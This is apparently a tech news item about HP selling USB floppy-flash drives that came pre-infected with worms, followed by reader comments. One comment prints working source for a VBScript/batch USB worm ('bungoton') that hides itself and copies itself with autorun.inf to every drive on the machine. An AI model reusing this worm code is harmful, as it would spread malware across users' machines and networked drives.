HP HAS ADMITTED that it has been flogging a USB hybrid flash-floppy drive that came pre-infected with malware.
The HP USB Floppy Drive Key is a combination flash drive and compact floppy drive usually seen paired up with HP's ProLiant Server line.
Insecurity experts at the SANS Institute's Internet Storm Center (ISC) think that the malware was installed at the factory and was meant to target ProLiant servers.
Apparently, both versions of the drive are wormy but no one is saying quite what the infection is. HP has confirmed that the worms are there but will not say how many drives were infected or where they were sold.
However, they say that if a compromised drive is plugged into a USB port on any machine on the network, the worms may spread to any mapped drives on the server.
Most AntiVirus software will detect the malware and Symantec identifies them as as "Fakerecy" and "SillyFDC."
The irony is that all this comes on the same day that HP offers to look after your precious data online.
The company is offering unlimited online storage with its new Upline service for $5 per month for one user, $7 per month for a family of three, or $9 per month for three business licenses (expandable to 100).
Do you really want a company which unwittingly distributes malware looking after your digital life? Thought not. ยต
L'Inq
ComputerWorld
The malware is just a really dumb VBS that does the following with some minor variations. It is neither skillful nor a hack but an architectural weakness in Windows. Note that I am not adding in the .inf and .reg files. 

'bungoton v1.0

'bungoton City Phils

'email me if you found this :) @ bungoton@bungoton.org

'May 2007

on error resume next

Set WshShell =CreateObject("WScript.Shell")





For i=1 to 1



set Of = CreateObject("Scripting.FileSystemObject") 

set dir = Of.GetSpecialFolder(1)



Set dc = Of.Drives

if WScript.ScriptFullName=dir&"\bungoton.vbs" then

isdir=true

else

a=WshShell.Run("bungoton.bat Open" ,0,False)

isdir=false

end if



For Each d In dc 

If d.DriveType = 2 Or d.DriveType = 3 or (d.DriveType = 1 and d<>"A:" and d<> "B:") Then 

a=WshShell.Run("bungoton.bat - "&d ,0,True)

if isdir then

Of.CopyFile dir&"\bungoton.*",d&"\",True

Of.CopyFile dir&"\autorun.inf",d&"\",True

else

Of.CopyFile "bungoton.*",d&"\",True

Of.CopyFile "autorun.inf",d&"\",True

end if

a=WshShell.Run("bungoton.bat + "&d ,0,True)

End If

next



if isdir then

wscript.sleep 60000

i=0

else

a=WshShell.Run("bungoton.bat - "&dir ,0,True)

Of.CopyFile "bungoton.*",dir&"\",True

Of.CopyFile "autorun.inf",dir&"\",True

a=WshShell.Run("bungoton.bat + "&dir ,0,True)

end if



next


*******

@echo off

if exist .\bungoton.reg regedit /s .\bungoton.reg

if not "%1"=="" goto open

if exist bungoton.vbs start WScript.exe bungoton.vbs&exit

if exist %SYSTEMROOT%\system32\bungoton.vbs start WScript.exe %SYSTEMROOT%\system32\bungoton.vbs&exit

exit

:open

if not "%1"=="Open" goto next

start explorer .\

exit

:next

if "%1"=="+" attrib +s +a +h +r %2\bungoton.*

if "%1"=="+" attrib +s +a +h +r %2\autorun.inf

:end

HP Upline (online backup unlimited service) will cost you US$ 12.5 /mo for the family plan (total of $150 per year)

Prices can be seen at
https://www.upline.com/plans/index.shtml